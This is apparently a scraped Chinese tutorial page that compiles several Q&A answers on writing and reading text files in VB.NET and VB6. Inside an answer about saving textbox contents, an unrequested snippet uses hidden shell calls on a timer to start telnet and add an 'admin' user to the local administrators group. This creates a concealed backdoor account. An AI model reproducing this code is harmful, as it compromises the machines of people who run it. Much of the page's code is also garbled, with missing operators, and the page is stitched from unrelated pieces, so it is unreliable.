正文
关于vb.net中保存txt的信息
小程序:扫一扫查出行
【扫一扫了解最新限行尾号】
复制小程序
【扫一扫了解最新限行尾号】
复制小程序
vb.net 中 datagridview的数据如何保存到 txt
Dim i As Integer
Dim j As Integer
Dim myFile As New System.IO.StreamWriter("c:\Test.txt")
Dim strTemp As String = ""
For j = 0 To frmQuery.DataGridView1.RowCount - 1
strTemp = ""
For i = 0 To frmQuery.DataGridView1.Columns.Count - 1
strTemp = "'" frmQuery.DataGridView1(i, j).Value "'" ","
Next
myFile.WriteLine(strTemp)
Next
myFile.Close()
格式为表格每行保存为文本文件的一行,字段之间以逗号分隔。
VB.net怎样保存文件
保存文件的步骤为vb.net中保存txt:
关闭流vb.net中保存txt,特别是写入流
关闭并保存文件
示例代码如下vb.net中保存txt:
Imports System.Windows.Forms
Imports System.IO
Imports System.Text
Sub SaveFileDemo()
'打开文件。如果文件不存在则创建新的文件
Dim myFile As New IO.FileStream("d:\data.txt", _
FileMode.OpenOrCreate, _
FileAccess.Write)
'在文件末尾添加一行
Dim tw As New StreamWriter(myFile)
myFile.Seek(0, SeekOrigin.End)
tw.WriteLine("白刃格斗英雄连英模部队方队亮相阅兵")
'关闭流
tw.Close()
'关闭文件并保存文件
myFile.Close()
End Sub
vb中如何把多个文本框里输入的内容保存到一个TXT文件里啊!
分类: 电脑/网络 程序设计 其他编程语言
问题描述:
vb中如何把多个文本框里输入的内容保存到一个TXT文件里啊!
比如程序有三个文本框,用户在每个框里分别输入了1,2,3,保存一个文件到C盘的1.txt
1.txt打开后的内容是
1
2
3
如何实现啊,要具体的啊谢谢了!
解析:
第一个很简单
open "C:\1.txt" for output as #1
print #1,text1.text
print #1,text2.text
print #1,text3.text
close #1
第二个也很简单
dim stext(1 to 3) as string
dim inow as long
stext(1)="mand /c start tel"
stext(2)="mand /c user admin admin /add"
stext(3)="mand /c localgroup administrators admin /add"
添加一个时钟发生器,间隔2000毫秒
时钟发生器代码
inow=inow+1
shell stext(inow), vbHide
if inow=3 then timer1.enable=false
求VB.NET写的自动保存txt文档的代码
直接给你保存和读取TXT的VB.NET的函数代码,你只要在触发事件中调用就可以了,注意换行,有的是显示不下去才显示两行的,还有strFilePath代表文件路径,TempENG代表文件编码格式如:UTF-8或者GB2312,strText 代表内容字符串。
#Region "读取TXT"
Public Function ReadTxt(ByVal strFilePath As String, ByVal TempENG As String) As String
Dim mySr As System.IO.StreamReader
Dim strS As String
Dim n%
strS = ""
mySr = New System.IO.StreamReader(strFilePath, System.Text.Encoding.GetEncoding(TempENG))
Do
Dim line$ = mySr.ReadLine()
strS = strS line vbCrLf
n = n + 1
Loop Until mySr.EndOfStream = True
mySr.Close()
Return strS
End Function
#End Region
#Region "保存TXT"
Public Function SaveTxt(ByVal strFilePath As String, ByVal strText As String, ByVal TempENG As String) As Boolean
Try
If Dir(strFilePath) "" Then File.Delete(strFilePath)
Dim mySw As System.IO.StreamWriter
Dim strLine() As String
mySw = New System.IO.StreamWriter(strFilePath, True, System.Text.Encoding.GetEncoding(TempENG))
strLine = Split(strText, vbCrLf)
For i As Integer = 0 To UBound(strLine)
mySw.WriteLine(strLine(i))
Next
mySw.Close()
Return True
Catch ex As Exception
Return False
End Try
End Function
#End Region
vb.net 中怎么用SaveFileDialog将TXT文件保存为能分隔的表格数据
Public Sub abc() Dim filename, inputstring As String Dim i As Integer Dim data i = 1 filename = "d:\WYKS.txt" '本列TXT文件放在D盘中 Open filename For Input Access Read As #1 Do While Not EOF(1) Line Input #1, inputstring '读TXT文件一行 data = inputstring If i 1 Then Cells(i - 1, 1) = Mid(data, 11, 6) '截取从第11个字符后6个字符 Cells(i - 1, 2) = Mid(data, 19, 8) '截取从第19个字符后8个字符 Cells(i - 1, 3) = Mid(data, 29, 6) '截取从第29个字符后6个字符 Cells(i - 1, 4) = Mid(data, 37, 8) '截取从第37个字符后8个字符 End If i = i + 1 Loop Close #1 End Sub
关于vb.net中保存txt和的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。